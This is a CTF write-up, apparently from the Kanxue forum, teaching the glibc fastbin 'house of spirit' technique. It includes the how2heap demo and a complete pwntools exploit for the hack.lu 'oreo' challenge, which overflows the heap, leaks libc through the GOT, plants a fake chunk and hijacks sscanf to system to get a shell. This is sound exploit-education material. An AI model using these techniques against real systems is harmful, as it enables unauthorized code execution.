FastBin Attack:House of spirit attack
2023-5-28 18:2:42 Author: 看雪学苑(查看原文) 阅读量:12 收藏


House of spirit

该技术主要是将一块可控的内存精心构造(fake chunk),以欺骗free通过其检查,令堆管理器将我们构造的内存块视作堆的chunk,进入bins中。
house of spirit attack常常需要搭配其他攻击手段,也常常是攻击链条中的一环。我们以2014 hack.lu oreo作为例子展示一种house of spirit的攻击场景。
在此之前我们先通过how2heap的例子来说明应该如何精心构造内存才能通过free检查进入bins。


How2heap的例子

下面是how2heap中展示house of spirit attack的例子,代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

puts("This file demonstrates the house of spirit attack.");
puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
puts("Required primitives: known target address, ability to set up the start/end of the target memory");

puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
void *chunks[7];
for(int i=0; i<7; i++) {
chunks[i] = malloc(0x30);
}
for(int i=0; i<7; i++) {
free(chunks[i]);
}

puts("\nStep 2: Prepare the fake chunk");
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
long fake_chunks[10] __attribute__ ((aligned (0x10)));
printf("The target fake chunk is at %p\n", fake_chunks);
printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
fake_chunks[1] = 0x40; // this is the size

printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
fake_chunks[9] = 0x1234; // nextsize

puts("\nStep 3: Free the first fake chunk");
puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
void *victim = &fake_chunks[2];
free(victim);

puts("\nStep 4: Take out the fake chunk");
printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);
printf("malloc can do the trick as well, you just need to do it for 8 times.");
void *allocated = calloc(1, 0x30);
printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);

assert(allocated == victim);
}

这个例子展示了如何绕过free的检查使得我们构造的fake chunk能够进入bins,大部分都是构造一个fast chunk,这里也不例外。需要注意的是long fake_chunks[10] __attribute__ ((aligned (0x10)));写法是告诉编译器给我的内存地址要是0x10对齐的。
This file demonstrates the house of spirit attack.
This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.
Required primitives: known target address, ability to set up the start/end of the target memory

Step 1: Allocate 7 chunks and free them to fill up tcache

Step 2: Prepare the fake chunk
The target fake chunk is at 0x7ffd6b3df200
It contains two chunks. The first starts at 0x7ffd6b3df208 and the second at 0x7ffd6b3df248.
This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
Now set the size of the chunk (0x7ffd6b3df208) to 0x40 so malloc will think it is a valid chunk.
The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
Set the size of the chunk (0x7ffd6b3df248) to 0x1234 so freeing the first chunk can succeed.

Step 3: Free the first fake chunk
Note that the address of the fake chunk must be 16-byte aligned.

Step 4: Take out the fake chunk
Now the next calloc will return our fake chunk at 0x7ffd6b3df210!
malloc can do the trick as well, you just need to do it for 8 times.malloc(0x30): 0x7ffd6b3df210, fake chunk: 0x7ffd6b3df210

这个例子将了进入fastbins有哪些检查,但我们可以发现主要是对size和chunk地址的检查。
1.fake chunk地址在ISMMAP应设置为0,因为对mmap chunk的处理有另一套流程。
2.fake chunk地址必须是MALLOC_ALIGNMENT对齐的。具体的,默认情况下32位地址必须8字节对齐,64位16字节对齐。
3.fake chunk的size和next chunk的size字段,至少不小于MINSIZE,即其值默认最少不低于2SIZE_SZ(32位8字节,64位16字节),并且*不大于av->system_mem(system_mem默认128kb)。
4.进入fastbins的fake chunk其size必须不超过max fast size(DEFAULT_MXFAST 64 * SIZE_SZ / 4)。
下图展示了chunk块free后想要进入fastbins的流程,以及所经历的检查。


我们发现house of spirit的核心在于控制fake chunk和next chunk的size字段,而不在乎两个字段之间夹杂的内存。也就是说,只要我们可以任意写两块不相邻的内存,可以分别在两块内存构造size字段的值,在free后堆管理器会将这两段内存及其中间的内存视作一个chunk,而我们若可以通过malloc将这个伪造的chunk拿到,我们也就拿到了一块更大的连续内存。

2014 hack.lu oreo

经典的堆菜单题,基本信息如下。32位程序,RELRO和PIE都是完全关闭的,对了该题目使用的是2.23的libc,已经patch进去了。
[email protected]:~/ctf/fastbin_attack$ checksec oreo
[*] '/home/cxing/ctf/fastbin_attack/oreo'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8046000)
[email protected]:~/ctf/fastbin_attack$ ldd oreo
linux-gate.so.1 (0xf7f29000)
/home/cxing/glibc-all-in-one-master/libs/2.23-0ubuntu3_i386/libc-2.23.so (0xf7d6d000)
/home/cxing/glibc-all-in-one-master/libs/2.23-0ubuntu3_i386/ld-2.23.so => /lib/ld-linux.so.2 (0xf7f2b000)

0x00 流程

程序是一个文字界面的购物菜单。Add可以增加步枪商品(创建和写堆块),show可以打印商品信息(读并打印堆块),Order函数可以清空购物订单(销毁所有堆块,free),Leave可以添加一个订单备注(往bss段写120字节),Stats函数可以打印本次购物的总体信息(读并打印几个bss段变量)。
[email protected]:~/ctf/fastbin_attack$ ./oreo
Welcome to the OREO Original Rifle Ecommerce Online System!

,______________________________________
|_________________,----------._ [____] -,__ __....-----=====
(_(||||||||||||)___________/ |
`----------' OREO [ ))"-, |
"" `, _,--....___ |
`/ """"

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action: 1
Rifle name: 123
Rifle description: 123
Action: 2
Rifle to be ordered:
===================================
Name: 123
Description: 123
===================================
Action:

0x01 代码分析

程序的自定义结构体非常简单,可以很轻松的逆向出来,下面我主要对关键内存读写的部分进行追踪和分析。
下面结构体的每一个字段都有说明,主要是关于其读写说明,然后我也可以看到所有的订单都一个单链表的结构。
在add中可以创建Rifile结构体,其中desc和name字段在创建时有一次写入的机会,而在show函数中可以答应两个字段;在order函数中,会沿着next便利单链表逐一的free(next)。
typedef struct _Rifile {
char desc[25]; // write on add (only one time), print on show
char name[27]; // write on add (only one time), print on show
// 0x34
Rifile* next; // can cover on add, and free(next) on order
}Rifile; // fastbin chunk 0x40, and write out of bounds
下面是几个bss段变量。其中order_count在order函数中每free一个订单就会增加1,在stats中会被打印输出,即order_count是记录多少订单结算了。
obj_count每次add会增加1,调用order会清0,即obj_count是记录当前有多少订单,每次结算订单该变量都会清0。
order_note_ptr是一个指向bss段bss_write的指针,在leave中可以先bss_write写入最多120个字节,在stats中作为字符串指针打印。
.bss:0804A288 ; Order+50↑w
.bss:0804A28C ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+align 20h
.bss:0804A2A0 ; _DWORD order_count
.bss:0804A2A0 ?? order_count db ? ; DATA XREF: Order+5A↑r
.bss:0804A2A0 ; Order+62↑w
.bss:0804A2A0 ; Stats+32↑r
.bss:0804A2A0 ; main+1F↑w
.bss:0804A2A1 ?? db ? ;
.bss:0804A2A2 ?? db ? ;
.bss:0804A2A3 ?? db ? ;
.bss:0804A2A4 ; _DWORD obj_count
.bss:0804A2A4 ?? ?? ?? ?? obj_count dd ? ; DATA XREF: Add+C5↑r
.bss:0804A2A4 ; Add+CD↑w
.bss:0804A2A4 ; Order+19↑r
.bss:0804A2A4 ; Stats+1D↑r
.bss:0804A2A4 ; main+15↑w
.bss:0804A2A8 ; char *order_note_ptr
.bss:0804A2A8 ?? ?? ?? ?? order_note_ptr dd ? ; DATA XREF: Leave+23↑r
.bss:0804A2A8 ; Leave+3C↑r
.bss:0804A2A8 ; Stats+47↑r
.bss:0804A2A8 ; Stats+53↑r
.bss:0804A2A8 ; main+29↑w
.bss:0804A2AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+db 14h dup(?)
.bss:0804A2C0 ?? bss_write db ? ; ; DATA XREF: main+29↑o
.bss:0804A2C1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+db 23h dup(?)
.bss:0804A2E4 ?? next_chunk db ? ;
.bss:0804A2E5 ?? db ? ;
.bss:0804A2E6 ?? db ? ;
.bss:0804A2E7 ?? db ? ;
.bss:0804A2E8 ?? db ? ;

0x02 漏洞点和利用

漏洞在Add函数中。对Rifile结构体的name和desc字段都可以写入56字节,而两个字段的长度分别是27和25,已经发生了越界写,造成了堆溢出。这次越界写可以覆盖劫持next指针,劫持该指针可以通过调用show函数实现任意地址读。利用任意地址读,我们可以读got表泄露libc基地址。
 

显然这个时候若,我们想要getshell,必须要实现任意地址写。我们知道next指针指向的地方会视作Rifile结构体,在调用order函数时会尝试free我们劫持的next指针。如果我们劫持next指针至一块我们精心构造的fake chunk,那么我们就能立刻add对构造的fake chunk写入原本我们没办法写入的地方。
那么显然我们只能在bss段去寻找目标了。我们仍然记得bss段有一个指针order_note_ptr,这是一个可以方便的进行读写的指针(只需调用stats和leave函数)。如果我们能够劫持就能实现任意地址,于是我们想当然是观察order_note_ptr指针的前后,看有没有我们可控的内存块,可供我们构造fake chunk。
幸运的是,order_note_ptr上方四字节有一个obj_count变量,而这个变量我们可以通过调用add使其自增,而Rifle结构体的chunk是0x40,因此fake chunk size的值是0x40(实际应该是0x41,因为PREV_INUSE此时是1)。但是我们要观察一下,以order_note_ptr做为mem指针向上偏移8字节是chunk指针,是否是8字节对齐的。我们发现order_note_ptr的地址是0x0804A2A8,减去8字节是0x0804A2A0,是8字节对齐的,因此可以通过地址对齐检查。
而我们可以往bss_write处开始写120个字节,所幸order_note_ptr距离bss_write并不远,两者相距0x18个字节,在fake chunk size的范围内。那么next chunk size的值比2 * SIZE_SZ大一些即可。

我们构造完成fake chunk后调用order函数,全部free,此时fastbin 0x40第一个chunk就是fake chunk,我们直接add出来,然后就可以劫持order_onte_ptr指针实现任意地址写了。

 
现在我们实现任意地址写,并泄露了libc,我们利用house of spirit技术构造了fake chunk,并劫持了order_note_ptr指针实现了任意地址写,现在我们可以利用任意地址写劫持got表指针为system。并且代码中有一个绝佳的地方,是一个天然的shell。

如下图,如果我们劫持__isoc99_sscanf函数为system,那么我们可以很方便的控制变量s,进行RCE。

0x03 Exploit

'''
typedef struct _Rifile {
char desc[25]; // printf
char name[27]; // printf
// 0x34
Rifile* next; // 劫持next指针只能任意地址读, free(next)
}Rifile; // fastbin 0x40, house of spirit
堆溢出:
add函数存在溢出,可以覆盖至Rifile结构的next指针
任意地址读:
add的时候,劫持next指针,调用show可以实现任意地址读
House of spirit:
劫持next指针后,若可以控制一块内存,将next指针指向该内存可以构造fake chunk
任意地址写:
可以劫持next指针进行house of spirit,再malloc回来,即可再next指针指向的位置实现任意写,但只有一次写的机会
0x0804A2A8的指针变量order_note_ptr是一个可写的指针,并且其上下的内存我们可以控制
劫持控制流:
在任意地址写的基础上,写__isoc99_sscanf的got表为system

'''
from pwn import *

context(os='linux', arch='i386', log_level='debug')
context.binary = './oreo'
context.terminal = ['tmux', 'sp', '-h']

io = process("./oreo")
libc = ELF("/home/cxing/glibc-all-in-one-master/libs/2.23-0ubuntu3_i386/libc-2.23.so")
elf = ELF("./oreo")

def add(desc: bytes, name: bytes):
io.sendline(b'1')
io.sendline(name)
io.sendline(desc)

def order():
io.sendline('3')

def Leave(data:bytes):
io.sendline(b'4')
io.sendline(data)

# 在任意地址读的基础上,泄露puts函数的got表指针,即可泄露libc
desc = b"a"
name = b"a"*27 + p32(elf.got['puts'])
add(desc, name)
io.sendline(b'2')
io.recvuntil("===================================\n")
io.recvuntil("===================================\n")
_ = io.recvline()
libc_base = u32(io.recvline()[13:13+4]) - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
log.success(f"libc_base = {hex(libc_base)}")

# house of spirit: obj_count write 0x41,然后order free掉,再add malloc回来,然后写order_note_ptr为___isoc99_sscanf got表
i = 1
for _ in range(0x40 - 1):
add(b"aaa", b'aaa')

add(b"a", b"a"*27 + p32(0x0804a2a8)) # next指针指向fake ,此时size为0x41
# 调用leave构造fake chunk的next chunk
payload = 0x24 * b'\x00' + p32(0x41)
Leave(payload)
order()
add(p32(elf.got['__isoc99_sscanf']), b"123")
# getshell
payload = p32(system_addr)
Leave(payload)
io.sendline("/bin/sh\x00")
io.interactive()

看雪ID:Cx1ng

https://bbs.kanxue.com/user-home-921065.htm

*本文为看雪论坛优秀文章,由 Cx1ng 原创,转载请注明来自看雪社区

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复

球分享

球点赞

球在看


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458505471&idx=1&sn=76d80ea793bd5a67fdbfe3ae758b9300&chksm=b18ee07586f969633e06c8ee45672bd65e048dca6f87079ec27996f4e1a8b36a17e2f140081d#rd
如有侵权请联系:admin#unsafe.sh